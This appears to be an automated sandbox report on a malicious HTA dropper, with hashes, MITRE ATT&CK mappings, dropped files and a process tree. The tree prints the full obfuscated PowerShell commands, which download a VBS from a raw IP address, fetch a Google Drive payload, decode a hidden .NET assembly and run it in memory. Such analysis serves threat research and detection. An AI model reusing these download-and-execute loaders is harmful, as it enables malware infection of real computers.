c0efd41f38466ebdf9a361f924bc0c6b11eb5e68c9b1adb4531df5b302f155e0

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
31-10-2024 20:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

greenthingswithgreatnewsforgetmeback.hta
Size

205KB
MD5

169a69d33b8480d6ba11f950cb28ff48
SHA1

f74e2a219d7cf49a08bd12dbd4dcde6b63578563
SHA256

c0efd41f38466ebdf9a361f924bc0c6b11eb5e68c9b1adb4531df5b302f155e0
SHA512

7b16659dd7c2bb88870d5c2185b323c078c4b8009bea7ecab534a3705b3c4d585e9dc42acff3122bc718ba884c801db198c73b2630ebecb8f67b17ebcf762236
SSDEEP

48:4FhWsTR/F7gNqXfkwzTqzw4S7u2WAhq0K8Kw99Dd7gZoSdrq67mz9z12gcie9NzB:43F97AcaIN6wfNcoSdrruh2iuRGQ

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	2552	powERshELL.eXE
6	572	WScript.exe
7	572	WScript.exe
9	1980	powershell.exe
11	1980	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1996	powershell.exe
1980	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
2552	powERshELL.eXE
2836	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	drive.google.com
9	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powERshELL.eXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2552	powERshELL.eXE
2836	powershell.exe
2552	powERshELL.eXE
2552	powERshELL.eXE
1996	powershell.exe
1980	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	powERshELL.eXE
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 804 wrote to memory of 2552	804	mshta.exe	30
PID 804 wrote to memory of 2552	804	mshta.exe	30
PID 804 wrote to memory of 2552	804	mshta.exe	30
PID 804 wrote to memory of 2552	804	mshta.exe	30
PID 2552 wrote to memory of 2836	2552	powERshELL.eXE	32
PID 2552 wrote to memory of 2836	2552	powERshELL.eXE	32
PID 2552 wrote to memory of 2836	2552	powERshELL.eXE	32
PID 2552 wrote to memory of 2836	2552	powERshELL.eXE	32
PID 2552 wrote to memory of 2924	2552	powERshELL.eXE	33
PID 2552 wrote to memory of 2924	2552	powERshELL.eXE	33
PID 2552 wrote to memory of 2924	2552	powERshELL.eXE	33
PID 2552 wrote to memory of 2924	2552	powERshELL.eXE	33
PID 2924 wrote to memory of 2792	2924	csc.exe	34
PID 2924 wrote to memory of 2792	2924	csc.exe	34
PID 2924 wrote to memory of 2792	2924	csc.exe	34
PID 2924 wrote to memory of 2792	2924	csc.exe	34
PID 2552 wrote to memory of 572	2552	powERshELL.eXE	37
PID 2552 wrote to memory of 572	2552	powERshELL.eXE	37
PID 2552 wrote to memory of 572	2552	powERshELL.eXE	37
PID 2552 wrote to memory of 572	2552	powERshELL.eXE	37
PID 572 wrote to memory of 1996	572	WScript.exe	38
PID 572 wrote to memory of 1996	572	WScript.exe	38
PID 572 wrote to memory of 1996	572	WScript.exe	38
PID 572 wrote to memory of 1996	572	WScript.exe	38
PID 1996 wrote to memory of 1980	1996	powershell.exe	40
PID 1996 wrote to memory of 1980	1996	powershell.exe	40
PID 1996 wrote to memory of 1980	1996	powershell.exe	40
PID 1996 wrote to memory of 1980	1996	powershell.exe	40

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greenthingswithgreatnewsforgetmeback.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:804
- C:\Windows\SysWOW64\wIndOWspOweRsHElL\v1.0\powERshELL.eXE
  "C:\Windows\sYstEM32\wIndOWspOweRsHElL\v1.0\powERshELL.eXE" "pOwerShELL -EX bYpaSS -NOp -W 1 -C DEViCeCREDENTiAlDePloYMENT.ExE ; IeX($(IeX('[SYSteM.TEXT.encodING]'+[CHAR]58+[cHar]58+'uTF8.GeTStrINg([SYsTEm.ConVERT]'+[CHAR]0x3a+[cHaR]58+'frOMbasE64STriNg('+[chaR]34+'JHlLdEl4amsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtYmVyREVmaW5pVGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxtT24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0RyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxZEtVLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdFQURoRXFaSyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd1JPVnRsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhTcyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIktwY3ZWayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0JvcCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkeUt0SXhqazo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1LjE0OS4yNDEuMTgzL01QRFctY29uc3RyYWludHMudmJzIiwiJGVOVjpBUFBEQVRBXG5lZXRhbmRjbGVhbnRoaW5nc2Zvcmdvb2QudmJzIiwwLDApO1N0QXJ0LXNsRUVQKDMpO3NUYVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxuZWV0YW5kY2xlYW50aGluZ3Nmb3Jnb29kLnZicyI='+[ChAR]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpaSS -NOp -W 1 -C DEViCeCREDENTiAlDePloYMENT.ExE
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2836
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dzql_yjb.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB0E9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB0E8.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2792
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\neetandcleanthingsforgood.vbs"
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:572
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdmRUdpbWFnZScrJ1VybCA9IGVJR2h0dHBzOi8nKycvZHJpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIGVJRztmRUd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2ZFR2ltYWdlQnl0ZXMgPSBmRUd3ZWJDbGllbnQuRG93bmxvYWREYXRhKGZFR2ltYWdlVXJsJysnKTtmRUdpbWEnKydnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhmRUdpbWFnZUJ5dGVzKTtmRUdzdGFydEZsYWcgPSBlSUc8JysnPEJBU0U2NF9TVEFSVD4+ZUlHO2ZFR2VuZEZsYWcgPSBlSUc8JysnPEJBU0U2NF9FTkQ+PmVJRztmRUdzdGFydEluZGV4ID0gZkVHaW1hZ2VUJysnZXh0LkluZGV4T2YoZkVHc3RhcnRGbGFnKTtmRUdlbmRJbmRleCA9IGZFR2ltYWdlVGV4dC5JbmRleCcrJ09mKGZFR2VuZEZsYWcnKycpO2ZFR3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBmRUdlbmRJbmRleCAtZ3QgZkVHc3RhcnRJbmRleCcrJztmRUdzdGFydEluZGV4ICs9IGZFR3N0YXJ0RmxhZy5MZW5ndGg7ZkVHYmFzZTY0TGVuZ3RoID0gZkVHZW5kSW5kZXggLSBmRUdzdGFydEluZGV4O2ZFR2JhcycrJ2U2NENvbW1hbmQgPSBmRUdpbWFnZVRleHQuU3Vic3RyaW5nKGZFR3N0YXJ0SW5kZXgsIGZFR2Jhc2U2NExlbmd0aCk7ZkVHYicrJ2FzZTY0UmV2ZXJzZWQgPSAtam9pbiAoZkVHYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIEhldyBGJysnb3JFYWNoLU9iamVjdCB7IGZFR18nKycgfSlbLTEuLi0oZkVHYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtmRUcnKydjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGJysncm9tQmFzZTY0U3RyaW5nKGZFR2Jhc2U2NFJldmVyc2VkKTtmRUdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV0nKyc6OkxvYWQoZkVHY29tbWFuZEJ5dGVzKTtmRUd2YWlNZXRob2QgPSBbZG5saWIuSU8uJysnSG9tZV0uR2V0TWV0aG9kKGVJR1ZBSWVJRycrJyk7ZkVHdmFpTWV0aG9kLkludicrJ29rZShmRUdudWxsLCBAKGVJR3R4dC5kJysndWR1ZHVkdWR1RC8zODEuMTQyLjk0MS41NC8vOnB0dGhlSUcsIGVJR2QnKydlc2F0aXZhZG9lSUcsJysnIGVJR2Rlc2F0aXZhZG9lSUcsIGVJR2Rlc2F0aXZhZG9lSUcsIGVJR0FkZEluUHJvY2VzczMyZUlHLCBlSScrJ0dkZXNhdGl2YWRvZUlHLCBlSUdkZXNhdGl2YWRvZUlHLGVJR2RlJysnc2F0aXZhZG9lSUcsZUlHZGVzYXRpdmFkb2VJRyxlSUdkZXNhdGl2YWRvZUlHLGVJR2Rlc2F0aXZhZG9lSUcsZUlHZGVzYXRpdmFkb2VJRyxlSUcxZUlHLGVJR2Rlc2F0aXZhZG9lSUcpKTsnKS5SZVBMQUNlKChbQ2hhcl0xMDErW0NoYXJdNzMrW0NoYXJdNzEpLFtTVFJpTmddW0NoYXJdMzkpLlJlUExBQ2UoJ2ZFRycsW1NUUmlOZ11bQ2hhcl0zNikuUmVQTEFDZSgoW0NoYXJdNzIrW0NoYXJdMTAxK1tDaGFyXTExOSksW1NUUmlOZ11bQ2hhcl0xMjQpIHwuKCAkRW52OkNvTXNwRWNbNCwyNiwyNV0tSk9JTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1996
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('fEGimage'+'Url = eIGhttps:/'+'/drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur eIG;fEGwebClient = New-Object System.Net.WebClient;fEGimageBytes = fEGwebClient.DownloadData(fEGimageUrl'+');fEGima'+'geText = [System.Text.Encoding]::UTF8.GetString(fEGimageBytes);fEGstartFlag = eIG<'+'<BASE64_START>>eIG;fEGendFlag = eIG<'+'<BASE64_END>>eIG;fEGstartIndex = fEGimageT'+'ext.IndexOf(fEGstartFlag);fEGendIndex = fEGimageText.Index'+'Of(fEGendFlag'+');fEGstartIndex -ge 0 -and fEGendIndex -gt fEGstartIndex'+';fEGstartIndex += fEGstartFlag.Length;fEGbase64Length = fEGendIndex - fEGstartIndex;fEGbas'+'e64Command = fEGimageText.Substring(fEGstartIndex, fEGbase64Length);fEGb'+'ase64Reversed = -join (fEGbase64Command.ToCharArray() Hew F'+'orEach-Object { fEG_'+' })[-1..-(fEGbase64Command.Length)];fEG'+'commandBytes = [System.Convert]::F'+'romBase64String(fEGbase64Reversed);fEGloadedAssembly = [System.Reflection.Assembly]'+'::Load(fEGcommandBytes);fEGvaiMethod = [dnlib.IO.'+'Home].GetMethod(eIGVAIeIG'+');fEGvaiMethod.Inv'+'oke(fEGnull, @(eIGtxt.d'+'ududududuD/381.142.941.54//:pttheIG, eIGd'+'esativadoeIG,'+' eIGdesativadoeIG, eIGdesativadoeIG, eIGAddInProcess32eIG, eI'+'GdesativadoeIG, eIGdesativadoeIG,eIGde'+'sativadoeIG,eIGdesativadoeIG,eIGdesativadoeIG,eIGdesativadoeIG,eIGdesativadoeIG,eIG1eIG,eIGdesativadoeIG));').RePLACe(([Char]101+[Char]73+[Char]71),[STRiNg][Char]39).RePLACe('fEG',[STRiNg][Char]36).RePLACe(([Char]72+[Char]101+[Char]119),[STRiNg][Char]124) |.( $Env:CoMspEc[4,26,25]-JOIN'')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESB0E9.tmp

Filesize
1KB

MD5
f8fa4b725c22049c1d4754e3ab63cda4

SHA1
1d33da7c6cbb12bd86edd81648cda2781d9a1a4e

SHA256
eaf34250e19be68aded410ab38d81c443b9b9c9724228e87c1eec878b25713b4

SHA512
2f502ad3cff619fd999e2845bd3413737f384cff1bf934ca7b1288cfbc0e49d564eff593e82cc76257dca2a172185eb1be2c406189e1460539e614da7b31a601

Download Submit
C:\Users\Admin\AppData\Local\Temp\dzql_yjb.dll

Filesize
3KB

MD5
b5b87060ff85c6137dd23a949a9a007b

SHA1
3b0009a1032fee8b6c2bb4337808c38ab348fd25

SHA256
d6151d748dff082c63d31723fe06aa523b62cffeb2444d7881820f3bc3f415a9

SHA512
92f986ec61fe30a57010e4ba005407fb1fd5014e430f7b2331680d2ce4b6f1bf46500cc15ec795545b989612c321bdba2040dcdf391d3269c6047f0679979c3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\dzql_yjb.pdb

Filesize
7KB

MD5
883c1c29f8b8d466cf3dd64d51c932e0

SHA1
15baa95b8575682e15411203ca82352c41c97e75

SHA256
cf7ecda19f61420afde057dcb991a4b9b8c33a577acb97e18744871a6fa1fa2b

SHA512
6b7c12547e2dbf8d51dd7d8ac11f272d37f884a0145e138bd1a5cfb9c9d0ff43b5151f209c828487404397b0361cd8087194fc68bc1f81acca8c32f2d32a9491

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
6e4a29f3b5815cfeb476485ace7ab54b

SHA1
aa25dd88e15f440ed1bd8babb15f40a5defd3fed

SHA256
146e166f7ae7d58f2d275cc2bc31bbc265e75fc1663adb32d2f5f5fca43d9482

SHA512
b87c7e78276549c1e798a38c4539282d14da29bd81ca9168dac4763cc4b80769cb6a65a32ca580955bff207bba913a17a677254d158249f306db3b4796aaa3fa

Download Submit
C:\Users\Admin\AppData\Roaming\neetandcleanthingsforgood.vbs

Filesize
68KB

MD5
d27816d0f221aaf7a0362700a3e0a5b4

SHA1
390961053e0642b3715262962533550675dbd9b5

SHA256
9a81502d5d1efb62ca49e778c4e117b4784ead30b3565e80bdf5139d9ecd7162

SHA512
29e68d3d817699d950f6165e199eaa83cb14f9b0238e53d580ee78b2bf2c883370faf389e24b1fae8aded4758d7399a94ead882ad30398ce8cf9fa564796f76e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCB0E8.tmp

Filesize
652B

MD5
29f6e99fc0c6fd814346e1864997b817

SHA1
0b06d3841683bc54bceac7140c929661b55687fc

SHA256
471a857afa255575687c0d97639145fd4b603c18461fecf4dedc5441e6a81d02

SHA512
6c3669757520c66bafe93e24558ab68664c5cb015f97412ca28ccce733c0c2b3716d17e13822ed4c0fac1d6f4743021ad14efcbacc88da966bfe3450e08cd93f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dzql_yjb.0.cs

Filesize
467B

MD5
d12717d89552ddb8b59a93f6d7b53650

SHA1
8141049952e7f42cd8ff2931934515a6b3901135

SHA256
90f46741701b8bb295ffb92a94a70d5233d2ec0f4a58941f7c1fa4a8d6a0276c

SHA512
42056b6146e8543dd33cc5645c6527264bfb30cc159259dae2beb03fed25aa719d257ad0e4b96ba0a02f59655ccda5bb4865623e093ad3e7dd621bd3d463a19f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dzql_yjb.cmdline

Filesize
309B

MD5
dd9c9192bbc667008b52b7818e622cb8

SHA1
8425282fd17fbe7068639cd8aea60b7a8e6786d3

SHA256
767221d4be8f23df263ae0a657833dfa0bd3e28987aec334f926cc0db08f8f69

SHA512
3f19aab44633703d76c17e7e426009fb6fab1c91bfec522ac717021f38f8b3b40d4d53d5e466751857e40f199aa83b0fddf2d97b1f7421f49fc882d858877cad

Download Submit